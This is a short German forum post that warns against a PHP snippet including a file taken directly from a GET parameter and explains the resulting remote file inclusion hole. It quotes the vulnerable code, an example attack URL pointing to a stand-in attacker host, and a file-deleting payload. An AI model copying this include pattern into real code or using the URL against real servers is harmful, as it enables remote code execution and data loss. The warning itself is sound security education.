Jan L.: Dieses Script NIE verwenden

Beitrag lesen

Hallo,

<?
if (isset($_GET['sid']))
{
    $seite = $_GET['sid'];
}
else
{
    $seite = "button.php";
}
include $seite;
?>

*grmpf*

Das ist die dann die schlimmste denkbare Sicherheitslücke, die man überhaupt einbauen kann (wenn diese Möglichkeit vom Hoster nicht unterbunden wurde)!

Damit kann jeder beliebigen PHP-Code auf deinem Server ausführen und wird geradezu eingeladen, es zu versuchen.

Du müsstest die Seite nur so aufrufen:

http://seite.tld?sid=http://boesermensch.tld/boesesscript.txt

Und in boesesscript.txt steht dann vielleicht einfach:

unlink("index.php");

Oder andere schlimme Sachen, die vielleicht nichtmal so schnell auffallen.
Dieser Code wird dann auf deinem Server ausgeführt.
Richtig übel!

Gruß, Jan